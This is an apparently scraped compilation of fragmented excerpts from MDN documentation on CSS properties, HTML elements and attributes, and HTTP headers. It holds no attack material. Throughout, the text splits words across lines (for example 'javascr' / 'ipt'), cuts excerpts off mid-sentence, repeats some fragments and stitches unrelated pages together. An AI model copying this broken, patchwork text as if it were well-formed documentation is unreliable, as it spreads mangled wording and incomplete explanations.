ipsum dolor sit amet, consectetur ad
ipiscing elit. nunc ornare maximus vehicula. duis nisi velit, dictum id ma...
..., feugiat leo. cras eu elementum dui.</p> <p class="auto"><code>text-justify: auto</code> --<br>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nunc ornare maximus vehicula. duis nisi velit, dictum id mauris vitae, lobortis pretium quam. quisque sed nisi pulvinar, consequat justo id, feugiat leo. cras eu elementum dui.</p> <p class="dist"><code>text-justify: distribute</code> --<br>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nunc ornare maximus vehicula. duis nisi velit, dictum id mauris vitae, lobortis pretium quam. quisque sed nisi pulvinar, consequat justo id, feugiat leo. cras eu elementum dui.</p> <p class="word"><code>text-justify: inter-word</code> --<br>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nunc ornare maximus vehicula. duis nisi velit, dictum...
...nunc ornare maximus vehicula. duis nisi velit, dictum id mauris vitae, lobortis pretium quam. quisque sed nisi pulvinar, consequat justo id, feugiat leo. ...
...nunc ornare maximus vehicula. duis nisi velit, dictum id mauris vitae, lobortis pretium quam. quisque sed nisi pulvinar, consequat justo id, feugiat leo. ...
text-underline-position - CSS: Cascading Style Sheets
e value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* single keyword */ text-underline-position: auto; text-underline-position: under; text-underline-position: left; text-underline-position: right; /* mult
iple keywords */ text-underline-position: under left; text-underline-position: right under; /* global values */ text-underline-position: inherit; text-underline-position: initial; text-underline-position: unset; syntax values auto the user agent uses its own algorithm to place the line at or under the alphabetic baseline. from-font if the font file includes information about a preferred po...
...bout a preferred position, use that value. if the font file doesn't include this information, behave as if auto was set, with the browser choosing an appropriate position. under forces the line to be set below the alphabetic baseline, at a position where it won't cross any descenders. this is useful for ensuring legibility with chemical and mathematical formulas, which make a large use of subscr
ipts. left in vertical writing-modes, this keyword forces the line to be placed on the left side of the text. in horizontal writing-modes, it is a synonym of under. right in vertical writing-modes, this keyword forces the line to be placed on the right side of the text. in horizontal writing-modes, it is a synonym of under. auto-pos a synonym of auto, which should be used instead. above ...
...o be below the text. when used with alphabetic text, using the auto keyword will lead to a similar effect. formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | from-font | [ under | [ left | right ] ] examples a simple example let's take a couple of simple example paragraphs: <p class="horizontal">lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nullam consectetur ac turpis vel laoreet. nullam volutpat pharetra lorem, sit amet feugiat tortor volutpat quis. nam eget sodales quam. aliquam accumsan tellus ac erat posuere.</p> <p class="vertical">lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. nullam consectetur ac turpis vel laoreet. nullam volutpat pharetra lorem, sit amet feugiat t...
...ed. the live example looks like this: setting text-underline-position globally because the text-underline-position property inherits and is not reset by the text-decoration shorthand property, it may be appropriate to set its value at a global level. for example, the under value may be appropriate for a document with lots of chemical and mathematical formulas, which make a large use of subscr
ipts. :root { text-underline-position: under; } specifications specification status comment css text decoration module level 3the definition of 'text-underline-position' in that specification. candidate recommendation initial definition ...
transition-timing-function - CSS: Cascading Style Sheets
y. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this, in essence, lets you establish an acceleration curve so that the speed of the transition can vary over its duration. this acceleration curve is defined using one <timing-function> for each property to be transitioned. you may specify mult
iple timing functions; each one will be applied to the corresponding property as specified by the transition-property property, which acts as a transition-property list. if there are fewer timing functions specified than in the transition-property list, the user agent must calculate which value is used by repeating the list of values until there is one for each transition property. if there are more...
..., jump-end); transition-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1); /* steps function keywords */ transition-timing-function: steps(4, jump-start); transition-timing-function: steps(10, jump-end); transition-timing-function: steps(20, jump-none); transition-timing-function: steps(5, jump-both); transition-timing-function: steps(6, start); transition-timing-function: steps(8, end); /* mult
iple timing functions */ transition-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1); /* global values */ transition-timing-function: inherit; transition-timing-function: initial; transition-timing-function: unset; values <timing-function> each <timing-function> represents the timing function to link to the corresponding property to transition, as defined in transition-prope...
... includes pauses at both the 0% and 100% marks, effectively adding a step during the transition time. start same as jump-start. end same as jump-end. step-start equal to steps(1, jump-start) step-end equal to steps(1, jump-end) accessibility concerns some animations can be helpful such as to guide users to understand what actions are expected, to show relationsh
ips within the user interface, and to inform users as to what actions have occurred. animations can help reduce cognitive load, prevent change blindness, and establish better recall in spatial relationsh
ips. however, some animations can be problematic for people with cognitive concerns such as attention deficit hyperactivity disorder (adhd) and certain kinds of motion can be a trigger for vestibular...
...eritednocomputed valueas specifiedanimation typediscrete formal syntax <timing-function>#where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none |...
EXSLT
exslt modules to use an exslt function, you need to declare the namespace the function is in, and then use the appropriate prefix when calling the function. for example, to use the reg...
...at expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascr
ipt style regular expressions.sets (set)the exslt sets package offers functions that let you perform set man
ipulation.strings (str)the exslt strings package provides functions that allow the man
ipulation of strings. exslt modules to use an exslt function, you need to declare the namespace the function is in, and then use the appropriate prefix when calling the function. for example, to use the regular expressions package: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/x...
...set() exsl:object-type() math the exslt math package provides functions for working with numeric values and comparing nodes. the namespace for the math package is http://exslt.org/math. functions math:highest() math:lowest() math:max() math:min() regular expressions the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascr
ipt style regular expressions. the exslt regular expressions namespace is http://exslt.org/regular-expressions. functions regexp:match() regexp:replace() regexp:test() sets the exslt sets package offers functions that let you perform set man
ipulation. the namespace for these functions is http://exslt.org/sets. functions set:difference() set:distinct() set:intersection() set:has-sa...
...ctions regexp:match() regexp:replace() regexp:test() sets the exslt sets package offers functions that let you perform set man
ipulation. the namespace for these functions is http://exslt.org/sets. functions set:difference() set:distinct() set:intersection() set:has-same-node() set:leading() set:trailing() strings the exslt strings package provides functions that allow the man
ipulation of strings. the namespace for the strings package is http://exslt.org/strings. functions str:concat() str:split() str:tokenize() ...
Adding captions and subtitles to HTML5 video - Developer guides
contain the actual subtitle data are simple text files that follow a specified format, in this case the web video text tracks (webvtt) format. the webvtt specification is still being worked on, but major parts of it are stable so we can use it today. ...
... in this example we are using a different video, sintel, as it actually has some speech in it and therefore is better for illustrating how subtitles work! html markup as mentioned above, we need to make use of the new html5 <track> element to add our subtitle files to the html5 video. ...
... in this example we are using a different video, sintel, as it actually has some speech in it and therefore is better for illustrating how subtitles work! html markup as mentioned above, we need to make use of the new html5 <track> element to add our subtitle files to the html5 video. ...
...a button, but these are relatively straightforward. no image is used for the captions button, so it is simply styled as: .controls button[data-state="subtitles"] { height:85%; text-indent:0; font-size:16px; font-size:1rem; font-weight:bold; color:#666; background:#000; border-radius:2px; } there are also other css changes that are specific to some extra javascr
ipt implementation, but these will be mentioned at the appropriate place below. subtitle implementation a lot of what we do to access the video subtitles revolves around javascr
ipt. similar to the video controls, if a browser supports html5 video subtitles, there will be a button provided within the native control set to access them. however, since we have defined our own video controls, this butt...
HTML attribute: accept - HTML: Hypertext Markup Language
at don't match the criteria and aren't selectable. <p> <label for="soundfile">select an audio file:</label> <input type="file" id="soundfile" accept="audio/*"> </p> <p> <label for="videofile">select a video file:</label> <input type="file" id="videofile" accept="video/*"> </p> <p> <label for="imagefile">select some images:</label> <input type="file" id="imagefile" accept="image/*" mult
iple> </p> note the last example allows you to select mult
iple iamges. see the mult
iple attribute for more information. unique file type specifiers a unique file type specifier is a string that describes a type of file that may be selected by the user in an <input> element of type file. each unique file type specifier may take one of the following forms: a valid case-insensitive filename e...
...the accept attribute takes as its value a string containing one or more of these unique file type specifiers, separated by commas. for example, a file picker that needs content that can be presented as an image, including both standard image formats and pdf files, might look like this: <input type="file" accept="image/*,.pdf"> using file inputs a basic example <form method="post" enctype="mult
ipart/form-data"> <div> <label for="file">choose file to upload</label> <input type="file" id="file" name="file" mult
iple> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; } this produces the following output: note: you can find this example on github too -- see the source code, and also see it running live. regardless of the user's device or op...
... <button>submit</button> </div> </form> div { margin-bottom: 10px; } this produces the following output: note: you can find this example on github too -- see the source code, and also see it running live. regardless of the user's device or operating system, the file input provides a button that opens up a file picker dialog that allows the user to choose a file. including the mult
iple attribute, as shown above, specifies that mult
iple files can be chosen at once. the user can choose mult
iple files from the file picker in any way that their chosen platform allows (e.g. by holding down shift or control, and then clicking). if you only want the user to choose a single file per <input>, omit the mult
iple attribute. limiting accepted file types often you won't want the user to ...
...cept="image/*" -- accept any file with an image/* mime type. (many mobile devices also let the user take a picture with the camera when this is used.) accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" -- accept anything that smells like an ms word document. ...
<area> - HTML: Hypertext Markup Language
s x,y,r where x,y is a pair specifying the center of the circle and r is a value for the radius. poly or polygon: the value is a set of x,y pairs for each point in the polygon: x1,y1,x2,y2,x3,y3, and so on. the values are numbers of css pixels. download this attribute, if present, indicates that the author intends the hyperlink to be used for downloading a resource. see <a> for a full descr
iption of the download attribute. href the hyperlink target for the area. its value is a valid url. this attribute may be omitted; if so, the <area> element does not represent a hyperlink. hreflang indicates the language of the linked resource. allowed values are determined by bcp47. use this attribute only if the href attribute is present. ping contains a space-separated list of urls to which...
...t, while navigations on the same origin will include the referrer's path. "unsafe-url" meaning that the referrer will include the origin and the path (but not the fragment, password, or username). this case is unsafe because it can leak origins and paths from tls-protected resources to insecure origins. rel for anchors containing the href attribute, this attribute specifies the relationsh
ip of the target object to the link object. the value is a space-separated list of link types values. the values and their semantics will be registered by some authority that might have meaning to the document author. the default relationsh
ip, if no other is given, is void. use this attribute only if the href attribute is present. shape the shape of the associated hot spot. the specifications for ...
...t one and has no parent). if there is no parent, acts the same as _self. use this attribute only if the href attribute is present. note: in newer browser versions (e.g. firefox 79+) setting target="_blank" on <area> elements implicitly provides the same rel behavior as setting rel="noopener". deprecated attributes name define a names for the clickable area so that it can be scr
ipted by older browsers. nohref indicates that no hyperlink exists for the associated area. note: since html5, omitting the href attribute is sufficient. tabindex a numeric value specifying the position of the defined area in the browser tabbing order. this attribute is global in html5. type no effect. browsers ignore it. (the w3c 5.3 fork of the html specification defines it as v...
... candidate recommendation added the referrerpolicy attribute. html living standardthe definition of '<area>' in that specification. living standard ...
<input type="hidden"> - HTML: Hypertext Markup Language
hidden" value="xm234jq"> value a domstring representing the value of the hidden data you want to pass back to the server. events none. supported common attributes autocomplete idl attributes value methods none. note: the input and change events do not apply to this input type. hidden inputs cannot be focused even using javascr
ipt (e.g. hiddeninput.focus()). value the <input> element's value attribute holds a domstring that contains the hidden data you want to include when the form is submitted to the server. this specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools. important: while the value isn't displayed to the user in the page's c...
...ols. important: while the value isn't displayed to the user in the page's content, it is visible--and can be edited--using any browser's developer tools or "view source" functionality. do not rely on hidden inputs as a form of security. additional attributes in addition to the attributes common to all <input> elements, hidden inputs offer the following attributes: attribute descr
iption name like all input types, the name of the input to report when submitting the form; the special value _charset_ causes the hidden input's value to be reported as the character encoding used to submit the form name this is actually one of the common attributes, but it has a special meaning available for hidden inputs. normally, the name attribute functions on hidden in...
...ated previously, placing the secret in a hidden input doesn't inherently make it secure. the key's composition and encoding would do that. the value of the hidden input is that it keeps the secret associated with the data and automatically includes it when the form is sent to the server. you need to use well-designed secrets to actually secure your website. validation hidden inputs don't partic
ipate in constraint validation; they have no real value to be constrained. examples let's look at how we might implement a simple version of the edit form we described earlier (see tracking edited content), using a hidden input to remember the id of the record being edited. the edit form's html might look a little bit like this: <form> <div> <label for="title">post title:</label> <inpu...
...rea { flex: 7; font-family: sans-serif; font-size: 1.1rem; padding: 5px; } textarea { height: 60px; } the server would set the value of the hidden input with the id "postid" to the id of the post in its database before sending the form to the user's browser and would use that information when the form is returned to know which database record to update with modified information. no scr
ipting is needed in the content to handle this. the output looks like this: note: you can also find the example on github (see the source code, and also see it running live). when submitted, the form data sent to the server will look something like this: title=my+excellent+blog+post&content=this+is+the+content+of+my+excellent+blog+post.+i+hope+you+enjoy+it!&postid=34657 even though the hidd...
<input type="radio"> - HTML: Hypertext Markup Language
us a pull request. they are called radio buttons because they look and operate in a similar manner to the push buttons on old-fashioned radios, such as the one shown below. note: checkboxes are similar to radio buttons, but with an important distinction: radio buttons are designed for selecting one value out of a set, whereas checkboxes let you turn individual values on and off. where mult
iple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow mult
iple values to be selected. value a domstring representing the value of the radio button. events change and input supported common attributes checked and value idl attributes checked and value methods select() value the value ...
...">email</label> <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </form> <pre id="log"> </pre> then we add some javascr
ipt to set up an event listener on the submit event, which is sent when the user clicks the "submit" button: var form = document.queryselector("form"); var log = document.queryselector("#log"); form.addeventlistener("submit", function(event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innerte...
...ry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innertext = output; event.preventdefault(); }, false); try this example out and see how there's never more than one result for the contact group. additional attributes in addition to the common attributes shared by all <input> elements, radio inputs support the following attributes: attribute descr
iption checked a boolean indicating whether or not this radio button is the currently-selected item in the group value the string to use as the value of the radio when submitting the form, if the radio is currently toggled on checked a boolean attribute which, if present, indicates that this radio button is the currently selected one in the group. unlike other br...
...utton by clicking on its associated <label> element, as well as on the radio button itself. this is a really useful feature of html form labels that makes it easier for users to click the option they want, especially on small-screen devices like smartphones. beyond accessibility, this is another good reason to properly set up <label> elements on your forms. validation radio buttons don't partic
ipate in constraint validation; they have no real value to be constrained. styling radio inputs the following example shows a slightly more thorough version of the example we've seen throughout the article, with some additional styling, and with better semantics established through use of specialized elements. the html looks like this: <form> <fieldset> <legend>please select your preferred ...
<input type="range"> - HTML: Hypertext Markup Language
no pattern validation available; however, the following forms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering from a bad input. the value won't be less than min. the default is 0. the value won't be greater than max. the default is 100. the value will be a mult
iple of step. the default is 1. value the value attribute contains a domstring which contains a string representation of the selected number. the value is never an empty string (""). the default value is halfway between the specified minimum and maximum--unless the maximum is actually less than the minimum, in which case the default is set to the value of the min attribute. the algorithm for dete...
...geelem.min + (rangeelem.max - rangeelem.min)/2; if an attempt is made to set the value lower than the minimum, it is set to the minimum. similarly, an attempt to set the value higher than the maximum results in it being set to the maximum. additional attributes in addition to the attributes shared by all <input> elements, range inputs offer the following attributes: attribute descr
iption list the id of the <datalist> element that contains optional pre-defined options max the maximum permitted value min the minimum permitted value step the stepping interval, used both for user interface and validation purposes list the values of the list attribute is the id of a <datalist> element located in the same document. the <da...
... stepping value for range inputs is 1, allowing only integers to be entered, unless the stepping base is not an integer; for example, if you set min to -10 and value to 1.5, then a step of 1 will allow only values such as 1.5, 2.5, 3.5,... in the positive direction and -0.5, -1.5, -2.5,... in the negative direction. see the html step attribute. non standard attributes attribute descr
iption orient sets the orientation of the range slider. firefox only. orient similar to the -moz-orient non-standard css property impacting the <progress> and <meter> elements, the orient attribute defines the orientation of the range slider. values include horizontal, meaing the range is rendered horizontally, and vertical, where the range is rendered vertically. note...
...ments, the orient attribute defines the orientation of the range slider. values include horizontal, meaing the range is rendered horizontally, and vertical, where the range is rendered vertically. note: the following input attributes do not apply to the input range: accept, alt, checked, dirname, formaction, formenctype, formmethod, formnovalidate, formtarget, height, maxlength, minlength, mult
iple, pattern, placeholder, readonly, required, size, src, and width. any of these attributes, if included, will be ignored. examples while the number type lets users enter a number with optional constraints forcing their value to be between a minimum and a maximum value, it does require that they enter a specific value. the range input type lets you ask the user for a value in cases where the us...
<picture>: The Picture element - HTML: Hypertext Markup Language
high-dpi (retina) display, use srcset on the <img> element instead. this lets browsers opt for lower-density versions in data-saving modes, and you don't have to write explicit media conditions. content categories flow content, phrasing content, embedded content permitted content zero or more <source> elements, followed by one <img> element, optionally intermixed with scr
ipt-supporting elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that allows embedded content. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlpictureelement attributes this element includes only global attributes. usage notes...
...ment, not the <picture> element. examples these examples demonstrate how different attributes of the <source> element change the selection of the image inside <picture>. the media attribute the media attribute specifies a media condition (similar to a media query) that the user agent will evaluate for each <source> element. ...
...ce>'s media condition evaluates to false, the browser sk
ips it and evaluates the next element inside <picture>. <picture> <source srcset="mdn-logo-wide.png" media="(min-width: 600px)"> <img src="mdn-logo-narrow.png" alt="mdn"> </picture> the srcset attribute the srcset attribute is used to offer list of possible images based on size. it is composed of a comma-separated list of image descr
iptors. each image descr
iptor is composed of a url of the image, and either... a width descr
iptor, followed by a w (such as 300w); or a pixel density descr
iptor, followed by an x (such as 2x) to serve a high-res image for high-dpi screens. <picture> <source srcset="logo-768.png 768w, logo-768-1.5x.png 1.5x"> <source srcset="logo-480.png, logo-480-2x.png 2x"> <img src="logo-320.png" alt...
...igh-dpi screens. <picture> <source srcset="logo-768.png 768w, logo-768-1.5x.png 1.5x"> <source srcset="logo-480.png, logo-480-2x.png 2x"> <img src="logo-320.png" alt="logo"> </picture> the type attribute the type attribute specifies a mime type for the resource url(s) in the <source> element's srcset attribute. if the user agent does not support the given type, the <source> element is sk
ipped. <picture> <source srcset="logo.webp" type="image/webp"> <img src="logo.png" alt="logo"> </picture> specifications specification status comment html living standardthe definition of '<picture>' in that specification. living standard initial definition ...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
provide translation of content that cannot be understood by the viewer. for example dialogue or text that is not english in an english language film. subtitles may contain additional content, usually extra background information. for example the text at the beginning of the star wars films, or the date, time, and location of a scene. captions closed captions provide a transcr
iption and possibly a translation of audio. it may include important non-verbal information such as music cues or sound effects. it may indicate the cue's source (e.g. music, text, character). suitable for users who are deaf or when the sound is muted. descr
iptions textual descr
iption of the video content. suitable for users who are blind or where the video cannot be see...
...not visible to the user. label a user-readable title of the text track which is used by the browser when listing available text tracks. src address of the track (.vtt file). must be a valid url. ...
...<audio> or <video> parent element of the track element has a crossorigin attribute. srclang language of the track text data. it must be a valid bcp 47 language tag. if the kind attribute is set to subtitles, then srclang must be defined. usage notes track data types the type of data that track adds to the media is set in the kind attribute, which can take values of subtitles, captions, descr
iptions, chapters or metadata. the element points to a source file containing timed text that the browser exposes when the user requests additional data. a media element cannot have more than one track with the same kind, srclang, and label. detecting cue changes the underlying texttrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed...
...e event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); examples <video controls poster="/images/sample.gif"> <source src="sample.mp4" type="video/mp4"> <source src="sample.ogv" type="video/ogv"> <track kind="captions" src="samplecaptions.vtt" srclang="en"> <track kind="descr
iptions" src="sampledescr
iptions.vtt" srclang="en"> <track kind="chapters" src="samplechapters.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_de.vtt" srclang="de"> <track kind="subtitles" src="samplesubtitles_en.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_ja.vtt" srclang="ja"> <track kind="subtitles" src="samplesubtitles_oz.vtt" srclang="oz"> ...
itemtype - HTML: Hypertext Markup Language
ribute and an itemtype attribute specified. they must only be specified on elements with an itemscope attribute, whose itemtype attribute specifies a vocabulary not supporting global identifiers for items, as defined by that vocabulary's specification. the exact meaning of a global identifier is determined by the vocabulary's specification. it is left to such specifications to define whether mult
iple items of the same global identifier (whether on the same page or different pages) are allowed to exist, and what processing rules for that vocabulary are, with respect to handling the case of mult
iple items with the same id. simple example html <div itemscope itemtype="http://schema.org/product"> <span itemprop="brand">acme</span> <span itemprop="name">executive anvil</span> </div> str...
... <br> </span> product #: <span itemprop="mpn">925872<br></span> <span itemprop="aggregaterating" itemscope itemtype="http://sch...
... <br> </span> product #: <span itemprop="mpn">925872<br></span> <span itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> rating: <span itemprop="ratingvalue">4.4</span> stars, based on <span itemprop="review...
... itemprop mpn 925872 itemprop brand [thing] itemprop name acme itemscope itemprop[itemtype] aggregaterating[aggregaterating] itemprop ratingvalue 4.4 itemprop rev...
tabindex - HTML: Hypertext Markup Language
the tabindex global attribute indicates that its element can be focused, and where it partic
ipates in sequential keyboard navigation (usually with the tab key, hence the name). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it accepts an integer as a value, with different results depending on the integer's value: a negative value (usually tabindex="-1") means that the element is not reachable via sequential keyboard navigation, but could be focused with javascr
ipt or visually by clicking with the mouse. it's mostly useful to create accessible widgets with javascr
ipt. a negative value is useful when you ...
... tabindex="0" means that the element should be focusable in sequential keyboard navigation, after any positive tabindex values and its order is defined by the document's source order. ...
... element should be focusable in sequential keyboard navigation, after any positive tabindex values and its order is defined by the document's source order. a positive value means the element should be focusable in sequential keyboard navigation, with its order defined by the value of the number. that is, tabindex="4" is focused before tabindex="5" and tabindex="0", but after tabindex="3". if mult
iple elements share the same positive tabindex value, their order relative to each other follows their position in the document source. the maximum value for tabindex is 32767. if not specified, it takes the default value 0. avoid using tabindex values greater than 0. doing so makes it difficult for people who rely on assistive technology to navigate and operate page content. instead, write the...
...njunction with non-interactive content to make something intended to be interactive focusable by keyboard input. an example of this would be using a <div> element to describe a button, instead of the <button> element. interactive components authored using non-interactive elements are not be listed in the accessibility tree. this prevents assistive technology from being able to navigate to and man
ipulate those components. the content should be semantically described using interactive elements (<a>, <button>, <details>, <input>, <select>, <textarea>, etc.) instead. these elements have built-in roles and states that communicate status to the accessibility that would otherwise have to be managed by aria. using the tabindex attribute | the paciello group specifications specificati...
Microformats - HTML: Hypertext Markup Language
u-email email address u-photo a photo of the person or organization u-url home page or other url representing the person or organization u-uid universally unique identifier, preferably canonical url p-street-address street number + name p-locality c...
...are amazing</h1> <p>published by <a class="p-author h-card" href="http://example.com">w. ...
...azing</h2> <p>published by <a class="p-author h-card" href="http://example.com">w. developer</a> on <time class="dt-published" datetime="2013-06-13 12:00:00">13<sup>th</sup> june 2013</time> </p> <p class="p-summary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> </div> properties property descr
iption p-name name of the feed p-author author of the feed, optionally embed an h-card children nested h-entry objects representing the items of the feed h-event the h-event is for events on the web. h-event is often used with both event listings and individual event pages <div class="h-event"> <h1 class="p-name">microformats meet...
...1 class="p-name">microformats meetup</h1> <p>from <time class="dt-start" datetime="2013-06-30 12:00">30<sup>th</sup> june 2013, 12:00</time> to <time class="dt-end" datetime="2013-06-30 18:00">18:00</time> at <span class="p-location">some bar in sf</span></p> <p class="p-summary">get together and discuss all things microformats-related.</p> </div> properties property descr
iption p-name event name (or title) p-summary short summary of the event dt-start datetime the event starts dt-end datetime the event ends p-location where the event takes place, optionally embedded h-card parsed h-event example <div class="h-event"> <h2 class="p-name">indieweb summit</h2> <time class="dt-start" datetime="2019-...
List of default Accept values - HTTP
nt, most browsers use specific values. ...
...s use specific values. ...
...er agent value comment firefox 3.6 and later audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5 see bug 489071 source safari, chrome */* source internet explorer 8 or earlier no support for <audio> internet explorer 9 ? values for scr
ipts when a scr
ipt is requested, like via the <scr
ipt> html element, some browsers use specific values. ...
... values for scr
ipts when a scr
ipt is requested, like via the <scr
ipt> html element, some browsers use specific values. user agent value comment firefox */* see bug 170789 safari, chrome */* source internet explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 application/javascr
ipt, */*;q=0.8 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a css stylesheet when a css stylesheet is requested, via the <link rel="stylesheet"> html element, most browsers use specific values. user agent value comment firefox 4 text/css,*/*;q=0.1 see bug 170789 source internet explorer 8 or earlier */* se...
Cross-Origin Resource Policy (CORP) - HTTP
corp is an additional layer of protection beyond the default same-origin policy. ...
... corp is an additional layer of protection beyond the default same-origin policy. ...
...ource policy complements cross-origin read blocking (corb), which is a mechanism to prevent some cross-origin reads by default. the policy is only effective for no-cors requests, which are issued by default for cors-safelisted methods/headers. as this policy is expressed via a response header, the actual request is not prevented--rather, the browser prevents the result from being leaked by str
ipping the response body. history the concept was originally proposed in 2012 (as from-origin), but resurrected in q2 of 2018 and implemented in safari and chromium. in early 2018, two side-channel hardware vulnerabilities known as meltdown and spectre were disclosed. these vulnerabilities allowed sensitive data disclosure due to a race condition which arose as part of speculative execution funct...
...d in 2012 (as from-origin), but resurrected in q2 of 2018 and implemented in safari and chromium. in early 2018, two side-channel hardware vulnerabilities known as meltdown and spectre were disclosed. these vulnerabilities allowed sensitive data disclosure due to a race condition which arose as part of speculative execution functionality, designed to improve performance. in response, chromium sh
ipped cross-origin read blocking, which automatically protects certain resources (of content-type html, json and xml) against cross-origin reads. if the application does not serve a no-sniff directive, chromium will attempt to guess the content-type and apply the protection anyway. cross-origin resource policy is an opt-in response header which can protect any resource; there is no need for browser...
Using Feature Policy - HTTP
" allow="geolocation https://google-developers.appspot.com"></iframe> similar to the http header, several features can be controlled at the same time by specifying a semicolon-separated list of policy directives. for example, this blocks the <iframe> from using the camera and microphone: <iframe allow="camera 'none'; microphone 'none'"> inheritance of policy for embedded content scr
ipts inherit the policy of their browsing context, regardless of their origin. that means that top-level scr
ipts inherit the policy from the main document. all iframes inherit the policy of their parent page. if the iframe has an allow attribute, the policies of the parent page and the allow attribute are combined, using the most restrictive subset. for an iframe to have a feature enabled, the orig...
.... you can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions. there are several policy-controlled features designed to represent functionality that can negatively impact the user experience. these features include: layout-inducing animations unoptimized (poorly compressed) images oversized images synchronous scr
ipts synchronous xmlhttprequest unsized media to avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. that is, the default allowlist is '*' for each feature. preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features. for new content, you can start...
...sting content, testing is likely required to verify it continues to work as expected. this is especially important for embedded or third-party content that you do not control. to turn on the enforcement of all the best practices, specify the policy as below. ...
... practices, specify the policy as below. ...
Content-Encoding - HTTP
nt-type header. the recommendation is to compress data as much as possible and therefore to use this field, but some types of resources, such as jpeg images, are already compressed. sometimes, using additional compression doesn't reduce payload size and can even make the payload longer. header type entity header forbidden header name no syntax content-encoding: gz
ip content-encoding: compress content-encoding: deflate content-encoding: identity content-encoding: br // mult
iple, in the order in which they were applied content-encoding: gz
ip, identity content-encoding: deflate, gz
ip directives gz
ip a format using the lempel-ziv coding (lz77), with a 32-bit crc. this is the original format of the unix gz
ip program. the http/1.1 standard also recommends t...
... compress a format using the lempel-ziv-welch (lzw) algorithm. the value name was taken from the unix compress program, which implemented this algorithm. ...
...tly because of a patent issue (it expired in 2003). deflate using the zlib structure (defined in rfc 1950) with the deflate compression algorithm (defined in rfc 1951). identity indicates the identity function (i.e., no compression or modification). this token, except if explicitly specified, is always deemed acceptable. br a format using the brotli algorithm. ...
...function (i.e., no compression or modification). this token, except if explicitly specified, is always deemed acceptable. br a format using the brotli algorithm. examples compressing with gz
ip on the client side, you can advertise a list of compression schemes that will be sent along in an http request. the accept-encoding header is used for negotiating content encoding. accept-encoding: gz
ip, deflate the server responds with the scheme used, indicated by the content-encoding response header. content-encoding: gz
ip note that the server is not obligated to use any compression method. compression highly depends on server settings and used server modules. specifications specification title rfc 7932: brotli compressed data format brotli compressed data for...
Content-Location - HTTP
location and content-location are different. location indicates the url of a redirect, while content-location indicates the direct url to use to access the resource, without further content negotiation in the future. location is a header associated with the response, while content-location is associated with the data returned. this distinction may seem abstract without examples. ...
.../documents/foo.xml accept: text/plain, text/* content-location: /documents/foo.txt these urls are examples -- the site could serve the different filetypes with any url patterns it wishes, such as a query string parameter: /documents/foo?format=json, /documents/foo?format=xml, and so on. then the client could remember that the json version is available at that particular url, sk
ipping content negotation the next time it requests that document. the server could also consider other content negotiation headers, such as accept-language. pointing to a new document (http 201 created) say you're creating a new blog post through a site's api: put /new/post host: example.com content-type: text/markdown # my first blog post! i made this through `example.com`'s api. i hope it w...
...the new post is with content-location: http/1.1 201 created content-type: text/plain; charset=utf-8 content-location: /my-first-blog-post ? success! indicating the url of a transaction's result say you have a <form> for sending money to another user of a site. <form action="/send-payment" method="post"> <p> <label>who do you want to send the money to? <input type="text" name="rec
ipient"> </label> </p> <p> <label>how much? <input type="number" name="amount"> </label> </p> <button type="submit">send money</button> </form> when the form is submitted, the site generates a rece
ipt for the transaction. the server could use content-location to indicate that rece
ipt's url for future access. http/1.1 200 ok content-type: text/html; charset=utf-8 conten...
... </p> <p> <label>how much? ...
